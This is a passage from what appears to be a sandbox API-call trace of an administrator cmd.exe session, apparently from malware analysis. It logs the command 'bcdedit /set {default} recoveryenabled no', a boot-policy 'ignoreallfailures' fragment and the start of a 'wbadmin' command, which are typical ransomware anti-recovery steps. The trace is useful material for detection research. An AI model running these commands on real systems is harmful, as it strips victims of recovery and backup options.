cbMultiByte=1, lpWideCharStr=0x49f9e370, cchWideChar=1 | out: lpWideCharStr="ognoreallfailures\n") returned 1 [0279.950] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.950] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.950] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.950] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e372, cchWideChar=1 | out: lpWideCharStr="\nnoreallfailures\n") returned 1 [0279.950] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.950] GetFileType (hFile=0xb0) returned 0x3 [0279.951] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.951] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.951] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.951] GetFileType (hFile=0xbc) returned 0x3 [0279.951] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="bcdedit /set {default} recoveryenabled no\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcdedit /set {default} recoveryenabled no\n", lpUsedDefaultChar=0x0) returned 43 [0279.957] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x14f4f8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f4f8*=0x2a, lpOverlapped=0x0) returned 1 [0279.957] GetProcessHeap () returned 0x270000 [0279.957] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4012) returned 0x294e70 [0279.958] GetProcessHeap () returned 0x270000 [0279.958] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294e70 | out: hHeap=0x270000) returned 1 [0279.958] GetProcessHeap () returned 0x270000 [0279.958] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb0) returned 0x2897c0 [0279.958] GetProcessHeap () returned 0x270000 [0279.958] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x20) returned 0x284610 [0279.959] GetProcessHeap () returned 0x270000 [0279.959] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x56) returned 0x2899d0 [0279.959] GetConsoleOutputCP () returned 0x1b5 [0279.959] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0279.959] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0279.959] GetConsoleTitleW (in: lpConsoleTitle=0x14f4b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0279.960] GetProcessHeap () returned 0x270000 [0279.960] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x290ea0 [0279.960] GetProcessHeap () returned 0x270000 [0279.960] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x66) returned 0x285b70 [0279.960] GetProcessHeap () returned 0x270000 [0279.960] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x420) returned 0x271320 [0279.960] SetErrorMode (uMode=0x0) returned 0x0 [0279.960] SetErrorMode (uMode=0x1) returned 0x0 [0279.960] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x271330, lpFilePart=0x14ed40 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x14ed40*="system32") returned 0x13 [0279.960] SetErrorMode (uMode=0x0) returned 0x1 [0279.960] GetProcessHeap () returned 0x270000 [0279.960] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x271320, Size=0x48) returned 0x271320 [0279.960] GetProcessHeap () returned 0x270000 [0279.960] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x271320) returned 0x48 [0279.960] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0279.960] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0279.960] GetProcessHeap () returned 0x270000 [0279.961] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x104) returned 0x28aa10 [0279.961] GetProcessHeap () returned 0x270000 [0279.961] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1f8) returned 0x289be0 [0279.961] GetProcessHeap () returned 0x270000 [0279.961] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289be0, Size=0x106) returned 0x289be0 [0279.961] GetProcessHeap () returned 0x270000 [0279.961] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289be0) returned 0x106 [0279.961] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0279.961] GetProcessHeap () returned 0x270000 [0279.961] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xe8) returned 0x285be0 [0279.961] GetProcessHeap () returned 0x270000 [0279.961] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x285be0, Size=0x7e) returned 0x285be0 [0279.961] GetProcessHeap () returned 0x270000 [0279.961] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285be0) returned 0x7e [0279.962] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0279.962] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0x28e8a0 [0279.962] FindClose (in: hFindFile=0x28e8a0 | out: hFindFile=0x28e8a0) returned 1 [0279.962] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0xffffffffffffffff [0279.962] GetLastError () returned 0x2 [0279.962] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0x28e8a0 [0279.962] FindClose (in: hFindFile=0x28e8a0 | out: hFindFile=0x28e8a0) returned 1 [0279.962] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0279.963] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0279.963] GetConsoleTitleW (in: lpConsoleTitle=0x14f000, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0279.963] GetProcessHeap () returned 0x270000 [0279.963] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x21c) returned 0x28f870 [0279.963] GetConsoleTitleW (in: lpConsoleTitle=0x28f880, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0279.963] GetProcessHeap () returned 0x270000 [0279.963] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x28f870, Size=0xcc) returned 0x28f870 [0279.963] GetProcessHeap () returned 0x270000 [0279.963] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28f870) returned 0xcc [0279.963] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - bcdedit /set {default} recoveryenabled no") returned 1 [0279.964] GetProcessHeap () returned 0x270000 [0279.964] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28f870 | out: hHeap=0x270000) returned 1 [0279.964] InitializeProcThreadAttributeList (in: lpAttributeList=0x14edb8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14ed78 | out: lpAttributeList=0x14edb8, lpSize=0x14ed78) returned 1 [0279.964] UpdateProcThreadAttribute (in: lpAttributeList=0x14edb8, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ed68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14edb8, lpPreviousValue=0x0) returned 1 [0279.964] GetStartupInfoW (in: lpStartupInfo=0x14eed0 | out: lpStartupInfo=0x14eed0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb0, hStdOutput=0xbc, hStdError=0xbc)) [0279.964] GetProcessHeap () returned 0x270000 [0279.964] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x20) returned 0x284640 [0279.964] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0279.964] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0279.964] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0279.964] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0279.964] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0279.964] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0279.964] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0279.965] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0279.966] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0279.966] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0279.966] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0279.966] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0279.966] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0279.966] GetProcessHeap () returned 0x270000 [0279.966] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284640 | out: hHeap=0x270000) returned 1 [0279.966] GetProcessHeap () returned 0x270000 [0279.966] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x12) returned 0x288900 [0279.966] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\bcdedit.exe", lpCommandLine="bcdedit /set {default} recoveryenabled no", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x14edf0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit /set {default} recoveryenabled no", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14eda0 | out: lpCommandLine="bcdedit /set {default} recoveryenabled no", lpProcessInformation=0x14eda0*(hProcess=0x50, hThread=0x54, dwProcessId=0x2ac, dwThreadId=0x6e0)) returned 1 [0279.970] CloseHandle (hObject=0x54) returned 1 [0279.970] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0279.970] GetProcessHeap () returned 0x270000 [0279.970] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b240 | out: hHeap=0x270000) returned 1 [0279.970] GetEnvironmentStringsW () returned 0x28b240* [0279.970] GetProcessHeap () returned 0x270000 [0279.970] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaea) returned 0x288980 [0279.970] FreeEnvironmentStringsW (penv=0x28b240) returned 1 [0279.970] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e6a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e6a8, ReturnLength=0x0) returned 0x0 [0279.970] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd6000, lpBuffer=0x14e6e0, nSize=0x380, lpNumberOfBytesRead=0x14e6a0 | out: lpBuffer=0x14e6e0*, lpNumberOfBytesRead=0x14e6a0*=0x380) returned 1 [0279.970] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0280.064] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ece8 | out: lpExitCode=0x14ece8*=0x0) returned 1 [0280.065] CloseHandle (hObject=0x50) returned 1 [0280.065] _vsnwprintf (in: _Buffer=0x14ef58, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ecf8 | out: _Buffer="00000000") returned 8 [0280.065] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0280.065] GetProcessHeap () returned 0x270000 [0280.065] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288980 | out: hHeap=0x270000) returned 1 [0280.065] GetEnvironmentStringsW () returned 0x28b240* [0280.065] GetProcessHeap () returned 0x270000 [0280.065] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaea) returned 0x288980 [0280.065] FreeEnvironmentStringsW (penv=0x28b240) returned 1 [0280.065] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0280.065] GetProcessHeap () returned 0x270000 [0280.065] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288980 | out: hHeap=0x270000) returned 1 [0280.065] GetEnvironmentStringsW () returned 0x28b240* [0280.065] GetProcessHeap () returned 0x270000 [0280.065] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaea) returned 0x288980 [0280.065] FreeEnvironmentStringsW (penv=0x28b240) returned 1 [0280.065] GetProcessHeap () returned 0x270000 [0280.065] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288900 | out: hHeap=0x270000) returned 1 [0280.065] DeleteProcThreadAttributeList (in: lpAttributeList=0x14edb8 | out: lpAttributeList=0x14edb8) [0280.065] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0280.066] _get_osfhandle (_FileHandle=1) returned 0xbc [0280.066] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0 [0280.066] _get_osfhandle (_FileHandle=1) returned 0xbc [0280.066] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0280.067] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.067] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0280.067] GetConsoleOutputCP () returned 0x1b5 [0280.067] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0280.067] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0280.067] GetProcessHeap () returned 0x270000 [0280.067] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285be0 | out: hHeap=0x270000) returned 1 [0280.067] GetProcessHeap () returned 0x270000 [0280.067] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289be0 | out: hHeap=0x270000) returned 1 [0280.067] GetProcessHeap () returned 0x270000 [0280.067] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28aa10 | out: hHeap=0x270000) returned 1 [0280.067] GetProcessHeap () returned 0x270000 [0280.067] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x271320 | out: hHeap=0x270000) returned 1 [0280.067] GetProcessHeap () returned 0x270000 [0280.068] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285b70 | out: hHeap=0x270000) returned 1 [0280.068] GetProcessHeap () returned 0x270000 [0280.068] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x290ea0 | out: hHeap=0x270000) returned 1 [0280.068] GetProcessHeap () returned 0x270000 [0280.068] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2899d0 | out: hHeap=0x270000) returned 1 [0280.068] GetProcessHeap () returned 0x270000 [0280.068] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284610 | out: hHeap=0x270000) returned 1 [0280.068] GetProcessHeap () returned 0x270000 [0280.068] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2897c0 | out: hHeap=0x270000) returned 1 [0280.068] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f218 | out: _Buffer="\r\n") returned 2 [0280.068] _get_osfhandle (_FileHandle=1) returned 0xbc [0280.068] GetFileType (hFile=0xbc) returned 0x3 [0280.068] _get_osfhandle (_FileHandle=1) returned 0xbc [0280.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0280.068] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f1e8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f1e8*=0x2, lpOverlapped=0x0) returned 1 [0280.068] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0280.068] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0280.068] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f228 | out: _Buffer="C:\\Windows\\system32") returned 19 [0280.069] _vsnwprintf (in: _Buffer=0x49f8eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x14f228 | out: _Buffer=">") returned 1 [0280.069] _get_osfhandle (_FileHandle=1) returned 0xbc [0280.069] GetFileType (hFile=0xbc) returned 0x3 [0280.069] _get_osfhandle (_FileHandle=1) returned 0xbc [0280.069] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0280.069] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x14f218, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f218*=0x14, lpOverlapped=0x0) returned 1 [0280.069] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.069] GetFileType (hFile=0xb0) returned 0x3 [0280.069] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.069] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.069] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.069] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="wcdedit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.069] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.069] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.070] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.070] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="bdedit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.070] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.070] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.070] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.070] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr="aedit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.070] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.070] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.070] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.070] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="ddit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.070] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.070] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.070] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.070] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="mit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.070] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.071] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.071] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="it /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.071] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.071] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.071] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="n /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.071] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.071] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.071] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0280.071] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr=" /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0280.071] _get_osfhandle (_FileHandle=0) returned 0xb0 [0280.071] SetFilePointer (in: hFile=0xb0, 